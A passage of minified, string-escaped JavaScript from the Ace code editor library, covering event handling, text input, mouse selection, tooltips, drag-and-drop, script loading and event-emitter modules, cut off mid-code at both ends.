a=e.defaultPrevented,t}),r(e,\"keypress\",function(e){a&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey)&&(t.stopEvent(e),a=null)}),r(e,\"keyup\",function(e){u[e.keyCode]=null}),u||(f(),r(window,\"focus\",f))}};if(typeof window==\"object\"&&window.postMessage&&!i.isOldIE){var l=1;t.nextTick=function(e,n){n=n||window;var r=\"zero-timeout-message-\"+l;t.addListener(n,\"message\",function i(s){s.data==r&&(t.stopPropagation(s),t.removeListener(n,\"message\",i),e())}),n.postMessage(r,\"*\")}}t.nextFrame=typeof window==\"object\"&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame),t.nextFrame?t.nextFrame=t.nextFrame.bind(window):t.nextFrame=function(e){setTimeout(e,17)}}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/keyboard/textinput\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\",\"ace/lib/dom\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=e(\"../lib/dom\"),o=e(\"../lib/lang\"),u=i.isChrome<18,a=i.isIE,f=function(e,t){function b(e){if(h)return;h=!0;if(k)t=0,r=e?0:n.value.length-1;else var t=e?2:1,r=2;try{n.setSelectionRange(t,r)}catch(i){}h=!1}function w(){if(h)return;n.value=f,i.isWebKit&&y.schedule()}function R(){clearTimeout(q),q=setTimeout(function(){p&&(n.style.cssText=p,p=\"\"),t.renderer.$keepTextAreaAtCursor==null&&(t.renderer.$keepTextAreaAtCursor=!0,t.renderer.$moveTextAreaToCursor())},i.isOldIE?200:0)}var n=s.createElement(\"textarea\");n.className=\"ace_text-input\",i.isTouchPad&&n.setAttribute(\"x-palm-disable-auto-cap\",!0),n.setAttribute(\"wrap\",\"off\"),n.setAttribute(\"autocorrect\",\"off\"),n.setAttribute(\"autocapitalize\",\"off\"),n.setAttribute(\"spellcheck\",!1),n.style.opacity=\"0\",i.isOldIE&&(n.style.top=\"-1000px\"),e.insertBefore(n,e.firstChild);var f=\"\u0001\u0001\",l=!1,c=!1,h=!1,p=\"\",d=!0;try{var v=document.activeElement===n}catch(m){}r.addListener(n,\"blur\",function(e){t.onBlur(e),v=!1}),r.addListener(n,\"focus\",function(e){v=!0,t.onFocus(e),b()}),this.focus=function(){if(p)return n.focus();var e=n.style.top;n.style.position=\"fixed\",n.style.top=\"-1000px\",n.focus(),setTimeout(function(){n.style.position=\"\",n.style.top==\"-1000px\"&&(n.style.top=e)},0)},this.blur=function(){n.blur()},this.isFocused=function(){return v};var g=o.delayedCall(function(){v&&b(d)}),y=o.delayedCall(function(){h||(n.value=f,v&&b())});i.isWebKit||t.addEventListener(\"changeSelection\",function(){t.selection.isEmpty()!=d&&(d=!d,g.schedule())}),w(),v&&t.onFocus();var E=function(e){return e.selectionStart===0&&e.selectionEnd===e.value.length};!n.setSelectionRange&&n.createTextRange&&(n.setSelectionRange=function(e,t){var n=this.createTextRange();n.collapse(!0),n.moveStart(\"character\",e),n.moveEnd(\"character\",t),n.select()},E=function(e){try{var t=e.ownerDocument.selection.createRange()}catch(n){}return!t||t.parentElement()!=e?!1:t.text==e.value});if(i.isOldIE){var S=!1,x=function(e){if(S)return;var t=n.value;if(h||!t||t==f)return;if(e&&t==f[0])return T.schedule();A(t),S=!0,w(),S=!1},T=o.delayedCall(x);r.addListener(n,\"propertychange\",x);var N={13:1,27:1};r.addListener(n,\"keyup\",function(e){h&&(!n.value||N[e.keyCode])&&setTimeout(F,0);if((n.value.charCodeAt(0)||0)<129)return T.call();h?j():B()}),r.addListener(n,\"keydown\",function(e){T.schedule(50)})}var C=function(e){l?l=!1:E(n)?(t.selectAll(),b()):k&&b(t.selection.isEmpty())},k=null;this.setInputHandler=function(e){k=e},this.getInputHandler=function(){return k};var L=!1,A=function(e){k&&(e=k(e),k=null),c?(b(),e&&t.onPaste(e),c=!1):e==f.charAt(0)?L?t.execCommand(\"del\",{source:\"ace\"}):t.execCommand(\"backspace\",{source:\"ace\"}):(e.substring(0,2)==f?e=e.substr(2):e.charAt(0)==f.charAt(0)?e=e.substr(1):e.charAt(e.length-1)==f.charAt(0)&&(e=e.slice(0,-1)),e.charAt(e.length-1)==f.charAt(0)&&(e=e.slice(0,-1)),e&&t.onTextInput(e)),L&&(L=!1)},O=function(e){if(h)return;var t=n.value;A(t),w()},M=function(e,t){var n=e.clipboardData||window.clipboardData;if(!n||u)return;var r=a?\"Text\":\"text/plain\";return t?n.setData(r,t)!==!1:n.getData(r)},_=function(e,i){var s=t.getCopyText();if(!s)return r.preventDefault(e);M(e,s)?(i?t.onCut():t.onCopy(),r.preventDefault(e)):(l=!0,n.value=s,n.select(),setTimeout(function(){l=!1,w(),b(),i?t.onCut():t.onCopy()}))},D=function(e){_(e,!0)},P=function(e){_(e,!1)},H=function(e){var s=M(e);typeof s==\"string\"?(s&&t.onPaste(s,e),i.isIE&&setTimeout(b),r.preventDefault(e)):(n.value=\"\",c=!0)};r.addCommandKeyListener(n,t.onCommandKey.bind(t)),r.addListener(n,\"select\",C),r.addListener(n,\"input\",O),r.addListener(n,\"cut\",D),r.addListener(n,\"copy\",P),r.addListener(n,\"paste\",H),(!(\"oncut\"in n)||!(\"oncopy\"in n)||!(\"onpaste\"in n))&&r.addListener(e,\"keydown\",function(e){if(i.isMac&&!e.metaKey||!e.ctrlKey)return;switch(e.keyCode){case 67:P(e);break;case 86:H(e);break;case 88:D(e)}});var B=function(e){if(h||!t.onCompositionStart||t.$readOnly)return;h={},t.onCompositionStart(),setTimeout(j,0),t.on(\"mousedown\",F),t.selection.isEmpty()||(t.insert(\"\"),t.session.markUndoGroup(),t.selection.clearSelection()),t.session.markUndoGroup()},j=function(){if(!h||!t.onCompositionUpdate||t.$readOnly)return;var e=n.value.replace(/\\x01/g,\"\");if(h.lastValue===e)return;t.onCompositionUpdate(e),h.lastValue&&t.undo(),h.lastValue=e;if(h.lastValue){var r=t.selection.getRange();t.insert(h.lastValue),t.session.markUndoGroup(),h.range=t.selection.getRange(),t.selection.setRange(r),t.selection.clearSelection()}},F=function(e){if(!t.onCompositionEnd||t.$readOnly)return;var r=h;h=!1;var i=setTimeout(function(){i=null;var e=n.value.replace(/\\x01/g,\"\");if(h)return;e==r.lastValue?w():!r.lastValue&&e&&(w(),A(e))});k=function(n){return i&&clearTimeout(i),n=n.replace(/\\x01/g,\"\"),n==r.lastValue?\"\":(r.lastValue&&i&&t.undo(),n)},t.onCompositionEnd(),t.removeListener(\"mousedown\",F),e.type==\"compositionend\"&&r.range&&t.selection.setRange(r.range)},I=o.delayedCall(j,50);r.addListener(n,\"compositionstart\",B),i.isGecko?r.addListener(n,\"text\",function(){I.schedule()}):(r.addListener(n,\"keyup\",function(){I.schedule()}),r.addListener(n,\"keydown\",function(){I.schedule()})),r.addListener(n,\"compositionend\",F),this.getElement=function(){return n},this.setReadOnly=function(e){n.readOnly=e},this.onContextMenu=function(e){L=!0,b(t.selection.isEmpty()),t._emit(\"nativecontextmenu\",{target:t,domEvent:e}),this.moveToMouse(e,!0)},this.moveToMouse=function(e,o){if(!o&&i.isOldIE)return;p||(p=n.style.cssText),n.style.cssText=(o?\"z-index:100000;\":\"\")+\"height:\"+n.style.height+\";\"+(i.isIE?\"opacity:0.1;\":\"\");var u=t.container.getBoundingClientRect(),a=s.computedStyle(t.container),f=u.top+(parseInt(a.borderTopWidth)||0),l=u.left+(parseInt(u.borderLeftWidth)||0),c=u.bottom-f-n.clientHeight-2,h=function(e){n.style.left=e.clientX-l-2+\"px\",n.style.top=Math.min(e.clientY-f-2,c)+\"px\"};h(e);if(e.type!=\"mousedown\")return;t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=null),i.isWin&&!i.isOldIE&&r.capture(t.container,h,R)},this.onContextMenuClose=R;var q,U=function(e){t.textInput.onContextMenu(e),R()};r.addListener(t.renderer.scroller,\"contextmenu\",U),r.addListener(n,\"contextmenu\",U)};t.TextInput=f}),ace.define(\"ace/mouse/default_handlers\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function u(e){e.$clickSelection=null;var t=e.editor;t.setDefaultHandler(\"mousedown\",this.onMouseDown.bind(e)),t.setDefaultHandler(\"dblclick\",this.onDoubleClick.bind(e)),t.setDefaultHandler(\"tripleclick\",this.onTripleClick.bind(e)),t.setDefaultHandler(\"quadclick\",this.onQuadClick.bind(e)),t.setDefaultHandler(\"mousewheel\",this.onMouseWheel.bind(e)),t.setDefaultHandler(\"touchmove\",this.onTouchMove.bind(e));var n=[\"select\",\"startSelect\",\"selectEnd\",\"selectAllEnd\",\"selectByWordsEnd\",\"selectByLinesEnd\",\"dragWait\",\"dragWaitEnd\",\"focusWait\"];n.forEach(function(t){e[t]=this[t]},this),e.selectByLines=this.extendSelectionBy.bind(e,\"getLineRange\"),e.selectByWords=this.extendSelectionBy.bind(e,\"getWordRange\")}function a(e,t,n,r){return Math.sqrt(Math.pow(n-e,2)+Math.pow(r-t,2))}function f(e,t){if(e.start.row==e.end.row)var n=2*t.column-e.start.column-e.end.column;else if(e.start.row==e.end.row-1&&!e.start.column&&!e.end.column)var n=t.column-4;else var n=2*t.row-e.start.row-e.end.row;return n<0?{cursor:e.start,anchor:e.end}:{cursor:e.end,anchor:e.start}}var r=e(\"../lib/dom\"),i=e(\"../lib/event\"),s=e(\"../lib/useragent\"),o=0;(function(){this.onMouseDown=function(e){var t=e.inSelection(),n=e.getDocumentPosition();this.mousedownEvent=e;var r=this.editor,i=e.getButton();if(i!==0){var s=r.getSelectionRange(),o=s.isEmpty();r.$blockScrolling++,o&&r.selection.moveToPosition(n),r.$blockScrolling--,r.textInput.onContextMenu(e.domEvent);return}this.mousedownEvent.time=Date.now();if(t&&!r.isFocused()){r.focus();if(this.$focusTimout&&!this.$clickSelection&&!r.inMultiSelectMode){this.setState(\"focusWait\"),this.captureMouse(e);return}}return this.captureMouse(e),this.startSelect(n,e.domEvent._clicks>1),e.preventDefault()},this.startSelect=function(e,t){e=e||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var n=this.editor;n.$blockScrolling++,this.mousedownEvent.getShiftKey()?n.selection.selectToPosition(e):t||n.selection.moveToPosition(e),t||this.select(),n.renderer.scroller.setCapture&&n.renderer.scroller.setCapture(),n.setStyle(\"ace_selecting\"),this.setState(\"select\"),n.$blockScrolling--},this.select=function(){var e,t=this.editor,n=t.renderer.screenToTextCoordinates(this.x,this.y);t.$blockScrolling++;if(this.$clickSelection){var r=this.$clickSelection.comparePoint(n);if(r==-1)e=this.$clickSelection.end;else if(r==1)e=this.$clickSelection.start;else{var i=f(this.$clickSelection,n);n=i.cursor,e=i.anchor}t.selection.setSelectionAnchor(e.row,e.column)}t.selection.selectToPosition(n),t.$blockScrolling--,t.renderer.scrollCursorIntoView()},this.extendSelectionBy=function(e){var t,n=this.editor,r=n.renderer.screenToTextCoordinates(this.x,this.y),i=n.selection[e](r.row,r.column);n.$blockScrolling++;if(this.$clickSelection){var s=this.$clickSelection.comparePoint(i.start),o=this.$clickSelection.comparePoint(i.end);if(s==-1&&o<=0){t=this.$clickSelection.end;if(i.end.row!=r.row||i.end.column!=r.column)r=i.start}else if(o==1&&s>=0){t=this.$clickSelection.start;if(i.start.row!=r.row||i.start.column!=r.column)r=i.end}else if(s==-1&&o==1)r=i.end,t=i.start;else{var u=f(this.$clickSelection,r);r=u.cursor,t=u.anchor}n.selection.setSelectionAnchor(t.row,t.column)}n.selection.selectToPosition(r),n.$blockScrolling--,n.renderer.scrollCursorIntoView()},this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null,this.editor.unsetStyle(\"ace_selecting\"),this.editor.renderer.scroller.releaseCapture&&this.editor.renderer.scroller.releaseCapture()},this.focusWait=function(){var e=a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y),t=Date.now();(e>o||t-this.mousedownEvent.time>this.$focusTimout)&&this.startSelect(this.mousedownEvent.getDocumentPosition())},this.onDoubleClick=function(e){var t=e.getDocumentPosition(),n=this.editor,r=n.session,i=r.getBracketRange(t);i?(i.isEmpty()&&(i.start.column--,i.end.column++),this.setState(\"select\")):(i=n.selection.getWordRange(t.row,t.column),this.setState(\"selectByWords\")),this.$clickSelection=i,this.select()},this.onTripleClick=function(e){var t=e.getDocumentPosition(),n=this.editor;this.setState(\"selectByLines\");var r=n.getSelectionRange();r.isMultiLine()&&r.contains(t.row,t.column)?(this.$clickSelection=n.selection.getLineRange(r.start.row),this.$clickSelection.end=n.selection.getLineRange(r.end.row).end):this.$clickSelection=n.selection.getLineRange(t.row),this.select()},this.onQuadClick=function(e){var t=this.editor;t.selectAll(),this.$clickSelection=t.getSelectionRange(),this.setState(\"selectAll\")},this.onMouseWheel=function(e){if(e.getAccelKey())return;e.getShiftKey()&&e.wheelY&&!e.wheelX&&(e.wheelX=e.wheelY,e.wheelY=0);var t=e.domEvent.timeStamp,n=t-(this.$lastScrollTime||0),r=this.editor,i=r.renderer.isScrollableBy(e.wheelX*e.speed,e.wheelY*e.speed);if(i||n<200)return this.$lastScrollTime=t,r.renderer.scrollBy(e.wheelX*e.speed,e.wheelY*e.speed),e.stop()},this.onTouchMove=function(e){var t=e.domEvent.timeStamp,n=t-(this.$lastScrollTime||0),r=this.editor,i=r.renderer.isScrollableBy(e.wheelX*e.speed,e.wheelY*e.speed);if(i||n<200)return this.$lastScrollTime=t,r.renderer.scrollBy(e.wheelX*e.speed,e.wheelY*e.speed),e.stop()}}).call(u.prototype),t.DefaultHandlers=u}),ace.define(\"ace/tooltip\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";function s(e){this.isOpen=!1,this.$element=null,this.$parentNode=e}var r=e(\"./lib/oop\"),i=e(\"./lib/dom\");(function(){this.$init=function(){return this.$element=i.createElement(\"div\"),this.$element.className=\"ace_tooltip\",this.$element.style.display=\"none\",this.$parentNode.appendChild(this.$element),this.$element},this.getElement=function(){return this.$element||this.$init()},this.setText=function(e){i.setInnerText(this.getElement(),e)},this.setHtml=function(e){this.getElement().innerHTML=e},this.setPosition=function(e,t){this.getElement().style.left=e+\"px\",this.getElement().style.top=t+\"px\"},this.setClassName=function(e){i.addCssClass(this.getElement(),e)},this.show=function(e,t,n){e!=null&&this.setText(e),t!=null&&n!=null&&this.setPosition(t,n),this.isOpen||(this.getElement().style.display=\"block\",this.isOpen=!0)},this.hide=function(){this.isOpen&&(this.getElement().style.display=\"none\",this.isOpen=!1)},this.getHeight=function(){return this.getElement().offsetHeight},this.getWidth=function(){return this.getElement().offsetWidth}}).call(s.prototype),t.Tooltip=s}),ace.define(\"ace/mouse/default_gutter_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/oop\",\"ace/lib/event\",\"ace/tooltip\"],function(e,t,n){\"use strict\";function u(e){function l(){var r=u.getDocumentPosition().row,s=n.$annotations[r];if(!s)return c();var o=t.session.getLength();if(r==o){var a=t.renderer.pixelToScreenCoordinates(0,u.y).row,l=u.$pos;if(a>t.session.documentToScreenRow(l.row,l.column))return c()}if(f==s)return;f=s.text.join(\"<br/>\"),i.setHtml(f),i.show(),t.on(\"mousewheel\",c);if(e.$tooltipFollowsMouse)h(u);else{var p=n.$cells[t.session.documentToScreenRow(r,0)].element,d=p.getBoundingClientRect(),v=i.getElement().style;v.left=d.right+\"px\",v.top=d.bottom+\"px\"}}function c(){o&&(o=clearTimeout(o)),f&&(i.hide(),f=null,t.removeEventListener(\"mousewheel\",c))}function h(e){i.setPosition(e.x,e.y)}var t=e.editor,n=t.renderer.$gutterLayer,i=new a(t.container);e.editor.setDefaultHandler(\"guttermousedown\",function(r){if(!t.isFocused()||r.getButton()!=0)return;var i=n.getRegion(r);if(i==\"foldWidgets\")return;var s=r.getDocumentPosition().row,o=t.session.selection;if(r.getShiftKey())o.selectTo(s,0);else{if(r.domEvent.detail==2)return t.selectAll(),r.preventDefault();e.$clickSelection=t.selection.getLineRange(s)}return e.setState(\"selectByLines\"),e.captureMouse(r),r.preventDefault()});var o,u,f;e.editor.setDefaultHandler(\"guttermousemove\",function(t){var n=t.domEvent.target||t.domEvent.srcElement;if(r.hasCssClass(n,\"ace_fold-widget\"))return c();f&&e.$tooltipFollowsMouse&&h(t),u=t;if(o)return;o=setTimeout(function(){o=null,u&&!e.isMousePressed?l():c()},50)}),s.addListener(t.renderer.$gutter,\"mouseout\",function(e){u=null;if(!f||o)return;o=setTimeout(function(){o=null,c()},50)}),t.on(\"changeSession\",c)}function a(e){o.call(this,e)}var r=e(\"../lib/dom\"),i=e(\"../lib/oop\"),s=e(\"../lib/event\"),o=e(\"../tooltip\").Tooltip;i.inherits(a,o),function(){this.setPosition=function(e,t){var n=window.innerWidth||document.documentElement.clientWidth,r=window.innerHeight||document.documentElement.clientHeight,i=this.getWidth(),s=this.getHeight();e+=15,t+=15,e+i>n&&(e-=e+i-n),t+s>r&&(t-=20+s),o.prototype.setPosition.call(this,e,t)}}.call(a.prototype),t.GutterHandler=u}),ace.define(\"ace/mouse/mouse_event\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=t.MouseEvent=function(e,t){this.domEvent=e,this.editor=t,this.x=this.clientX=e.clientX,this.y=this.clientY=e.clientY,this.$pos=null,this.$inSelection=null,this.propagationStopped=!1,this.defaultPrevented=!1};(function(){this.stopPropagation=function(){r.stopPropagation(this.domEvent),this.propagationStopped=!0},this.preventDefault=function(){r.preventDefault(this.domEvent),this.defaultPrevented=!0},this.stop=function(){this.stopPropagation(),this.preventDefault()},this.getDocumentPosition=function(){return this.$pos?this.$pos:(this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY),this.$pos)},this.inSelection=function(){if(this.$inSelection!==null)return this.$inSelection;var e=this.editor,t=e.getSelectionRange();if(t.isEmpty())this.$inSelection=!1;else{var n=this.getDocumentPosition();this.$inSelection=t.contains(n.row,n.column)}return this.$inSelection},this.getButton=function(){return r.getButton(this.domEvent)},this.getShiftKey=function(){return this.domEvent.shiftKey},this.getAccelKey=i.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(s.prototype)}),ace.define(\"ace/mouse/dragdrop_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function f(e){function T(e,n){var r=Date.now(),i=!n||e.row!=n.row,s=!n||e.column!=n.column;if(!S||i||s)t.$blockScrolling+=1,t.moveCursorToPosition(e),t.$blockScrolling-=1,S=r,x={x:p,y:d};else{var o=l(x.x,x.y,p,d);o>a?S=null:r-S>=u&&(t.renderer.scrollCursorIntoView(),S=null)}}function N(e,n){var r=Date.now(),i=t.renderer.layerConfig.lineHeight,s=t.renderer.layerConfig.characterWidth,u=t.renderer.scroller.getBoundingClientRect(),a={x:{left:p-u.left,right:u.right-p},y:{top:d-u.top,bottom:u.bottom-d}},f=Math.min(a.x.left,a.x.right),l=Math.min(a.y.top,a.y.bottom),c={row:e.row,column:e.column};f/s<=2&&(c.column+=a.x.left<a.x.right?-3:2),l/i<=1&&(c.row+=a.y.top<a.y.bottom?-1:1);var h=e.row!=c.row,v=e.column!=c.column,m=!n||e.row!=n.row;h||v&&!m?E?r-E>=o&&t.renderer.scrollCursorIntoView(c):E=r:E=null}function C(){var e=g;g=t.renderer.screenToTextCoordinates(p,d),T(g,e),N(g,e)}function k(){m=t.selection.toOrientedRange(),h=t.session.addMarker(m,\"ace_selection\",t.getSelectionStyle()),t.clearSelection(),t.isFocused()&&t.renderer.$cursorLayer.setBlinking(!1),clearInterval(v),C(),v=setInterval(C,20),y=0,i.addListener(document,\"mousemove\",O)}function L(){clearInterval(v),t.session.removeMarker(h),h=null,t.$blockScrolling+=1,t.selection.fromOrientedRange(m),t.$blockScrolling-=1,t.isFocused()&&!w&&t.renderer.$cursorLayer.setBlinking(!t.getReadOnly()),m=null,g=null,y=0,E=null,S=null,i.removeListener(document,\"mousemove\",O)}function O(){A==null&&(A=setTimeout(function(){A!=null&&h&&L()},20))}function M(e){var t=e.types;return!t||Array.prototype.some.call(t,function(e){return e==\"text/plain\"||e==\"Text\"})}function _(e){var t=[\"copy\",\"copymove\",\"all\",\"uninitialized\"],n=[\"move\",\"copymove\",\"linkmove\",\"all\",\"uninitialized\"],r=s.isMac?e.altKey:e.ctrlKey,i=\"uninitialized\";try{i=e.dataTransfer.effectAllowed.toLowerCase()}catch(e){}var o=\"none\";return r&&t.indexOf(i)>=0?o=\"copy\":n.indexOf(i)>=0?o=\"move\":t.indexOf(i)>=0&&(o=\"copy\"),o}var t=e.editor,n=r.createElement(\"img\");n.src=\"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\",s.isOpera&&(n.style.cssText=\"width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;\");var f=[\"dragWait\",\"dragWaitEnd\",\"startDrag\",\"dragReadyEnd\",\"onMouseDrag\"];f.forEach(function(t){e[t]=this[t]},this),t.addEventListener(\"mousedown\",this.onMouseDown.bind(e));var c=t.container,h,p,d,v,m,g,y=0,b,w,E,S,x;this.onDragStart=function(e){if(this.cancelDrag||!c.draggable){var r=this;return setTimeout(function(){r.startSelect(),r.captureMouse(e)},0),e.preventDefault()}m=t.getSelectionRange();var i=e.dataTransfer;i.effectAllowed=t.getReadOnly()?\"copy\":\"copyMove\",s.isOpera&&(t.container.appendChild(n),n.scrollTop=0),i.setDragImage&&i.setDragImage(n,0,0),s.isOpera&&t.container.removeChild(n),i.clearData(),i.setData(\"Text\",t.session.getTextRange()),w=!0,this.setState(\"drag\")},this.onDragEnd=function(e){c.draggable=!1,w=!1,this.setState(null);if(!t.getReadOnly()){var n=e.dataTransfer.dropEffect;!b&&n==\"move\"&&t.session.remove(t.getSelectionRange()),t.renderer.$cursorLayer.setBlinking(!0)}this.editor.unsetStyle(\"ace_dragging\"),this.editor.renderer.setCursorStyle(\"\")},this.onDragEnter=function(e){if(t.getReadOnly()||!M(e.dataTransfer))return;return p=e.clientX,d=e.clientY,h||k(),y++,e.dataTransfer.dropEffect=b=_(e),i.preventDefault(e)},this.onDragOver=function(e){if(t.getReadOnly()||!M(e.dataTransfer))return;return p=e.clientX,d=e.clientY,h||(k(),y++),A!==null&&(A=null),e.dataTransfer.dropEffect=b=_(e),i.preventDefault(e)},this.onDragLeave=function(e){y--;if(y<=0&&h)return L(),b=null,i.preventDefault(e)},this.onDrop=function(e){if(!g)return;var n=e.dataTransfer;if(w)switch(b){case\"move\":m.contains(g.row,g.column)?m={start:g,end:g}:m=t.moveText(m,g);break;case\"copy\":m=t.moveText(m,g,!0)}else{var r=n.getData(\"Text\");m={start:g,end:t.session.insert(g,r)},t.focus(),b=null}return L(),i.preventDefault(e)},i.addListener(c,\"dragstart\",this.onDragStart.bind(e)),i.addListener(c,\"dragend\",this.onDragEnd.bind(e)),i.addListener(c,\"dragenter\",this.onDragEnter.bind(e)),i.addListener(c,\"dragover\",this.onDragOver.bind(e)),i.addListener(c,\"dragleave\",this.onDragLeave.bind(e)),i.addListener(c,\"drop\",this.onDrop.bind(e));var A=null}function l(e,t,n,r){return Math.sqrt(Math.pow(n-e,2)+Math.pow(r-t,2))}var r=e(\"../lib/dom\"),i=e(\"../lib/event\"),s=e(\"../lib/useragent\"),o=200,u=200,a=5;(function(){this.dragWait=function(){var e=Date.now()-this.mousedownEvent.time;e>this.editor.getDragDelay()&&this.startDrag()},this.dragWaitEnd=function(){var e=this.editor.container;e.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()),this.selectEnd()},this.dragReadyEnd=function(e){this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly()),this.editor.unsetStyle(\"ace_dragging\"),this.editor.renderer.setCursorStyle(\"\"),this.dragWaitEnd()},this.startDrag=function(){this.cancelDrag=!1;var e=this.editor,t=e.container;t.draggable=!0,e.renderer.$cursorLayer.setBlinking(!1),e.setStyle(\"ace_dragging\");var n=s.isWin?\"default\":\"move\";e.renderer.setCursorStyle(n),this.setState(\"dragReady\")},this.onMouseDrag=function(e){var t=this.editor.container;if(s.isIE&&this.state==\"dragReady\"){var n=l(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);n>3&&t.dragDrop()}if(this.state===\"dragWait\"){var n=l(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);n>0&&(t.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()))}},this.onMouseDown=function(e){if(!this.$dragEnabled)return;this.mousedownEvent=e;var t=this.editor,n=e.inSelection(),r=e.getButton(),i=e.domEvent.detail||1;if(i===1&&r===0&&n){if(e.editor.inMultiSelectMode&&(e.getAccelKey()||e.getShiftKey()))return;this.mousedownEvent.time=Date.now();var o=e.domEvent.target||e.domEvent.srcElement;\"unselectable\"in o&&(o.unselectable=\"on\");if(t.getDragDelay()){if(s.isWebKit){this.cancelDrag=!0;var u=t.container;u.draggable=!0}this.setState(\"dragWait\")}else this.startDrag();this.captureMouse(e,this.onMouseDrag.bind(this)),e.defaultPrevented=!0}}}).call(f.prototype),t.DragdropHandler=f}),ace.define(\"ace/lib/net\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"./dom\");t.get=function(e,t){var n=new XMLHttpRequest;n.open(\"GET\",e,!0),n.onreadystatechange=function(){n.readyState===4&&t(n.responseText)},n.send(null)},t.loadScript=function(e,t){var n=r.getDocumentHead(),i=document.createElement(\"script\");i.src=e,n.appendChild(i),i.onload=i.onreadystatechange=function(e,n){if(n||!i.readyState||i.readyState==\"loaded\"||i.readyState==\"complete\")i=i.onload=i.onreadystatechange=null,n||t()}},t.qualifyURL=function(e){var t=document.createElement(\"a\");return t.href=e,t.href}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var 